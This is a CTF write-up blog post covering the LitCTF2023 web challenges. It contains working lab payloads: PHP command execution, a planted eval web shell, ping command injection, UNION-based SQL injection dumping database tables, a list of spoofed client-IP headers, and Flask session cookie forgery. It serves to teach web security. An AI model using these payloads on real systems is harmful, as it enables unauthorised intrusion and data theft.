[LitCTF2023] web方向全题解wp

最新推荐文章于 2024-06-02 16:36:06 发布
最新推荐文章于 2024-06-02 16:36:06 发布
阅读量2.4k 收藏 16
点赞数 7
分类专栏： CTF比赛复现 文章标签： php web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Leaf_initial/article/details/130671885
版权

LitCTF2023

我Flag呢？

签到题，f12获取flag

这里注意看一下源代码，有彩蛋
在这里插入图片描述

先留着

LitCTF{First_t0_The_k3y! (1/?)

导弹迷踪

前端js小游戏

开调试器进行代码审计

可知当游戏进入finished状态的时候会得到flag，可以直接找到

在这里插入图片描述

Follow me and hack me

传参题，按照要求传参直接出

在这里插入图片描述

CTF=Lit2023
Post:Challenge = i'm_c0m1ng

传入得到flag，然后提示备份文件还有好恰的，备份文件无非几种，直接访问www.zip

在这里插入图片描述

下载压缩包，压缩包里有index.php.bak文件，打开

在这里插入图片描述

获得第三个彩蛋

在这里插入图片描述

_R3ady_Pl4yer_000ne_ (3/?)

PHP是世界上最好的语言！！

看文本框是进行代码执行，直接在右边构造payload：

system("ls /");

在这里插入图片描述

然后cat /f*得到flag

在这里插入图片描述

Vim yyds

利用dirsearch扫描网站

dirsearch.py -u http://node5.anna.nssctf.cn:28266/

扫描结果如下：

在这里插入图片描述

Vim缓存泄露，输入如扫描结果，访问/.index.php.swp会下载该文件

在这里插入图片描述

整理后代码如下，仔细看前面的代码php短标签是反着来，所以要整理下：

<?php
error_reporting(0);
$password = "Give_Me_Your_Flag"; 
echo "<p>can can need Vim </p>";
if ($_POST['password'] === base64_encode($password)){
	echo "<p>Oh You got my password!</p>"
        eval(system($_POST['cmd'])); 
}
?>

说明我们要传入password变量，使其值base64加密后的Give_Me_Your_Flag

构造payload：

POST
password=R2l2ZV9NZV9Zb3VyX0ZsYWc=

在这里插入图片描述

You got password！

接下来post传入cmd变量进行rce就可以得到flag

cmd=ls /
cmd=cat /f*

作业管理系统

在这里插入图片描述

f12有hint，默认账户和密码都是admin

这道题一眼就知道有好多种写法，文件上传一种，文件创建一种，这里用的是文件创建
在这里插入图片描述

创建文件名为flag.php

在这里插入图片描述

然后编辑文件，内容就是基本的文件上传漏洞的内容

<?php
@eval($_POST["Leaf"]);
?>

在这里插入图片描述

然后点保存，接下来返回开始的界面去访问该文件

http://node5.anna.nssctf.cn:28807/flag.php

存在说明已经创建成功，接下来可以选择RCE或者蚁剑连接，我选的用蚁剑连接

在这里插入图片描述

连接成功，在根目录下得到flag

Ping

ping命令考察，先输入127.0.1试试水，可以有回显

在这里插入图片描述

然后构造payload扫描根目录：

127.0.0.1|ls;

在这里插入图片描述

这里多试了几次管道符，猜测是前端检测，利用burp抓包然后改包

通过抓包改变ping命令

127.0.0.1;ls

获得到根目录下文件

在这里插入图片描述

然后构造payload获得flag

127.0.0.1;cat /*

在这里插入图片描述

这是什么？SQL ！注一下 ！

已经告诉你闭合方式了，直接开注！

先判断显示位，payload：

-1)))))) union select 1,2#

在这里插入图片描述

爆库：

1)))))) and 1=2 union select 1,group_concat(schema_name) from information_schema.schemata#

得到库名

information_schema,mysql,ctftraining,performance_schema,test,ctf

爆表：

1)))))) and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema="ctf"

得到表名：

users

爆列：

1)))))) and 1=2 union select 1,group_concat(column_name)from information_schema.columns where table_name="users"#

得到列名：

id,username,password,ip,time,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password

获取值：

1)))))) and 1=2 union select 1,group_concat(password) from ctf.users

获得彩蛋（难蚌）：

OHHHHHHH,F1rst_to_Th3_eggggggggg!}

重新爆表：

1)))))) and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema="ctftraining"#

得到表明：

flag,news,users

重新爆列：

1)))))) and 1=2 union select 1,group_concat(column_name)from information_schema.columns where table_name="flag"#

获得列名：

flag

重新获取值：

1)))))) and 1=2 union select 1,group_concat(flag) from ctftraining.flag#

彩蛋

我们通过前面的题已经得到了4个彩蛋，组合一下

LitCTF{First_t0_The_k3y! (1/?)

_S0_ne3t? (2/?)

_R3ady_Pl4yer_000ne_ (3/?)

F1rst_to_Th3_eggggggggg!}

组合获得flag：

NSSCTF{First_t0_The_k3y!_S0_ne3t?_R3ady_Pl4yer_000ne_F1rst_to_Th3_eggggggggg!}

Http pro max plus

postman杀穿了（）

在这里插入图片描述

显示只允许本地访问，第一反应就是伪造X-Forwarded-For头，但是被嘲讽了

在这里插入图片描述

于是又试了好多东西，我直接一并列出来了

X-Forwarded: 127.0.0.1
Forwarded-For: 127.0.0.1
Forwarded: 127.0.0.1
X-Requested-With: 127.0.0.1
X-Forwarded-Proto: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-remote-IP: 127.0.0.1
X-remote-addr: 127.0.0.1
True-Client-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
Client-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
Ali-CDN-Real-IP: 127.0.0.1
Cdn-Src-Ip: 127.0.0.1
Cdn-Real-Ip: 127.0.0.1
CF-Connecting-IP: 127.0.0.1
X-Cluster-Client-IP: 127.0.0.1
WL-Proxy-Client-IP: 127.0.0.1
Proxy-Client-IP: 127.0.0.1
Fastly-Client-Ip: 127.0.0.1
True-Client-Ip: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Host: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1

最后发现能用的是Client-IP

在这里插入图片描述

？我怕这名字不过审，我直接伪造Referer为这个网站了

在这里插入图片描述

然后回显要用Chrome浏览器，伪造User-Agent为Chrome

在这里插入图片描述

这个找了好久，最后发现是伪造Via

在这里插入图片描述

在这里插入图片描述

OK，借一部说话，去访问wtfwtfwtfwtf.php文件

得到源码

<html>
<title>你说得对，but where is flag?</title>

<head>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>

<body>
	<a href="https://doc.miyun.app/app/clash-win/">
		The first step-----><button>click me to get Clash！</button>
	</a>
</body>

<body>
		//网站被我删了
		The second step-----><button>open your eyes on pornhub️</button>
	</a>
</body>

<body>
	<a href="./jiege.jpg">
		The 3rd step-----><button>that is what you want: 色图.jpg</button>
	</a>
</body>
<!--你就冲吧，什么都冲只会害了你自己 bdy好康的在 /sejishikong.php-->

</html>

可以看到有hint，再访问 /sejishikong.php得到flag

就当无事发生

给了个GitHub项目的链接

在这里插入图片描述

https://ProbiusOfficial.github.io

后来听佬说是社工题，我也没照，直接贴链接

https://github.com/ProbiusOfficial/ProbiusOfficial.github.io/commit/f04fe251bf8811324d4e71cd87b4b15581358490#diff-1474f5fa679c8ac3ff897f022f78e6d753c107596c85a05c06a7466478a3f43

然后在flag是什么呢里面可以找到flag

在这里插入图片描述

1zjs

魔方小游戏，一开始不信是代码审计，所以就用dirsearch扫了扫（没啥用）

在这里插入图片描述

那就审呗，看源代码得到hint，进入f@k3f1ag.php文件

在这里插入图片描述

得到一段jsfuck解密（md，看的我眼花），控制台跑一下，得到flag

在这里插入图片描述

Flag点击就送！

一开始没什么思路，就先用dirsearch扫了扫
在这里插入图片描述

没有扫出来什么东西，然后就随便看，看到了有session

在这里插入图片描述

猜测是session伪造，但是要是想进行session伪造就要先知道secret_key，由于没有明显提示secret_key只能猜，联想比赛题目，是LitCTF，利用flask_session_cookie_manager3进行session伪造，先验证正确性：

在这里插入图片描述

decode解密成功，然后接下来就进行session伪造

在这里插入图片描述

把伪造好的session利用burp抓包然后修改

eyJuYW1lIjoiYWRtaW4ifQ.ZGCq-A.8H9RmjSBHw5uvGpprkWTXFFcxlE

在这里插入图片描述

得到flag
关于session伪造具体可以看[HDCTF2023] NSSweb方向题解的YamiYami

Leafzzz__
关注
  • 7
    点赞
  • 踩
  • 16
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 7
    评论
专栏目录
ICPC2023 西安区域赛 题解.pdf
11-09
ICPC2023 西安区域赛 题解 本文档提供了 ICPC2023 西安区域赛的题解，涵盖了五个题目：A - An Easy Geometry Problem、B - Counting Multisets、C - Counting Strings、D - Deep Intervals 和 E - Dominating Point...
西普WEB大部分题解
12-09
【标题】"西普WEB大部分题解"是一个针对网络安全领域中的Web安全训练平台——西普（CTF）的解题指南。这个资源包含了对西普平台上多种Web安全挑战的解答，旨在帮助那些参与CTF（Capture The Flag）比赛或者希望提升...
[LitCTF 2023]Http pro max plus
陈艺秋的博客
08-06 2121
打开环境后提示说，只允许在本地访问，本地访问，还是想到了XFF字段好家伙的，直接被嘲讽，还是了解太少了，都不知道还有没有其他方式可以控制ip地址信息经过查看wp，得知一种新的方式。
ISCTF2023 web方向wp超详细解析+做题思路(部分)
2301_76690905的博客
11-29 3863
题目：提示了一句话密码为1，直接蚁剑连靶场，密码连1进去就能看见flag1根目录有flag2flag3不可能一个个点，肯定是转去虚拟终端用命令找，在开虚拟终端之前看下.sh，一般都会放些提示我们就能知道，FLAG3 包含了 FLAG 变量的从第 21 个字符到末尾的部分，可以直接在虚拟终端输出 FLAG3 变量的值那我们先进入虚拟终端，然后cd /去到根目录，然后在根目录输出FLAG3 变量的值别的命令不知道为什么不是返回不了，就是权限不够，都已经root了（？
LitCTF 2024（公开赛道）——WP
ASD830的博客
06-02 1649
目录Misc涐贪恋和伱、甾―⑺dé毎兮毎秒你说得对，但__盯帧珍珠Everywhere We Go关键，太关键了!女装照流量原铁，启动！舔到最后应有尽有The loveWebexx一个....池子？SAS - Serializing Authentication System浏览器也能套娃？高亮主题(划掉)背景查看器百万美元的诱惑Reverse编码喵Cryptocommon_primes题目只给了一张图片，zesteg秒了，flag：LitCTF{e8f7b267-9c45-4c0e-9d1e-13fc5b
LitCTF2023 WP
一个普普通通的博客
05-18 704
LitCTF2023是郑州轻工业大学首届网络安全赛，作为第一次举办的网络安全类型的校赛，它的难度极其容易，很加适合对CTF感兴趣但是没有基础的同学。
[LitCTF 2023]这是什么？SQL ！注一下 ！
m0_73612768的博客
01-04 820
SQL 注入；
LitCTF2023 Reverse 题解及复现
OrientalGlass的博客
05-14 2350
使用解包工具时要注意环境问题,这题是python3.8编写的,所以要用python3.8的环境,否则会缺少输出文件,建议使用anaconda管理python版本。关键代码是最后一段对flag的操作,不过这里可能是有意为之或者是反编译的问题,意思应该是flag[i]和flag[i+1]的数据异或后互换。经典的base64换表,第10和11行作用重复,12行也没有实际作用,此处的base表根本没有变化。关键就在于Probee代码中调用了check函数,该函数定义在ch中,分析程序逻辑不难写出解题脚本。
2023.9.9题解fdafafasffas
09-09
"2023.9.9题解fdafafasffas" 本资源主要讨论了五道题目，其中包括幻方数、线性拟合、去括号、数列求和和中位数等。 首先，幻方数的问题可以使用枚举平方根的方法解决，而不是直接枚举整数。这个方法可以避免浮点...
CCPC-Online-2023-题解.pdf
08-20
CCPC-Online-2023 题解 本资源是 CCPC Online 2023 网络赛题解，由 Claris、quailty、tangjz 等作者编写，包含了四道题目的解析，即 Almost Prefix Concatenation、Palindromic Beads、CClique Challenge 和 ...
2023 电工杯 B 题解题思路详细分析.zip
05-25
从提供的文件名"2023 电工杯 B 题解题思路详细分析.zip"和"2023 电工杯 B 题解题思路详细分析.docx"来看，我们可以推测这是一个关于解答2023年电工杯竞赛B题的深入解析文档。这份文档很可能是由竞赛的专家或者参赛者...
初学ctf的题目解析
07-07
初写ctf的一些方法
NSSCTF——Web题目1
weixin_54055099的博客
08-25 1148
NSSCTF基础web题目的解题思路
LitCTF2023 郑州轻工业大学网络安全赛--web方向
qq_44640313的博客
05-18 581
LitCTF2023--web方向wp
LitCTF2023部分wp
m0_58030673的博客
05-15 547
LitCTF2023
[NUSTCTF 2022 新生赛]ezProtocol
weixin_45906533的博客
11-19 316
你刚才参观过http://localhost/吗，上面用的是X-Forwarded-For，那么这里用的就是referer。数组绕过，直接就报错了，说明用的可能是强比较了，至于报错，那是因为将我们传入的参数强行转换成字符串类型了，所以才报错了。但是发现还是一样的结果，这是为什么呢，这个要注意其实是因为我们最后一行多了一个换行，将第八行删除，再发包就可以了。生成成功，但是打开文件会发现文件内容是乱码的，所以我们要对其进行一下url编码。p1和p2内容不能相同，但是md5值必须相同，尝试一下数组绕过。
LITCTF2024-6月web方向wp
最新发布
Perterluck的博客
06-02 903
这个题目考察XXE注入，这个从题目就可看出来（翻转一下就可），了解一下XXE注入，主要了解XML格式和其中DOCTYPE还有主体ENTITY的定义，重点利用的是外部实体注入攻击，因为服务器会直接将xml传送的内容做引用，这样便可以通过一些伪协议找到flag。dict:// 字典服务器协议，访问字典资源，如，dict:///ip:6739/info：注意这个协议使用的前提是服务器的端口可以拿到，这个没啥好方法，除非直接告诉你否则就爆破吧。这个就是一个反序列化，没啥好说的，直接按照要求就可拿到flag。
LitCTF 2023]作业管理系统(1)，2024年网络安全开发学习路线
m0_60453176的博客
04-08 950
本人从事网路安全工作12年，曾在2个大厂工作过，安全服务、售后服务、售前、攻防比赛、安全讲师、销售经理等职位都做过，对这个行业了解比较全面。最近遍览了各种网络安全类的文章，内容参差不齐，其中不伐有大佬倾力教学，也有各种不良机构浑水摸鱼，在收到几条私信，发现大家对一套完整的系统的网络安全从学习路线到学习资料，甚至是工具有着不小的需求。最后，我将这部分内容融会贯通成了一套282G的网络安全资料包，所有类目条理清晰，知识点层层递进，需要的小伙伴可以点击下方小卡片领取哦！
CTF_Web：攻防世界高手区进阶题WP（19-21）
AFCC_的博客（Web_Dog）
09-09 1637
NSCTFweb2题解 打开题目直接是一段代码，提示逆向即为flag，首先看代码： <?php $miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws"; function encode($str){ $_o=strrev($str); // echo $_o; for($_0=0;$_0<strlen($_o);$_0++){
ctf仿射密码加密解密
05-26
CTF中的仿射密码加密是一种古典密码学算法，它是由一个线性函数和一个偏移量组成的加密算法。在加密时，明文中的每个字母都会被映射为另一个字母，映射方式由线性函数和偏移量决定。解密时，需要使用线性函数的逆函数和偏移量的相反数来还原明文。 下面是仿射密码加密解密的示例： 假设要加密的明文为 "hello world"，线性函数为 f(x) = 3x + 5，偏移量为 2。则加密过程如下： 1. 将明文中的每个字母转换为数字，比如 a=0, b=1, c=2......z=25。 "hello world" => [7, 4, 11, 11, 14, 22, 14, 17, 11, 3] 2. 对每个数字进行加密操作： (3 * 7 + 5) mod 26 = 0 (3 * 4 + 5) mod 26 = 17 (3 * 11 + 5) mod 26 = 16 (3 * 11 + 5) mod 26 = 16 (3 * 14 + 5) mod 26 = 3 (3 * 22 + 5) mod 26 = 21 (3 * 14 + 5) mod 26 = 3 (3 * 17 + 5) mod 26 = 22 (3 * 11 + 5) mod 26 = 16 (3 * 3 + 5) mod 26 = 14 加密后的数字序列为 [0,17,16,16,3,21,3,22,16,14] 3. 将加密后的数字序列转换为字母： [0,17,16,16,3,21,3,22,16,14] => "ARQQDVCNOM" 因此，明文 "hello world" 经过仿射密码加密后为 "ARQQDVCNOM"。 解密过程与加密过程相似，只需要使用线性函数的逆函数和偏移量的相反数即可。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 7
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Leafzzz__

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值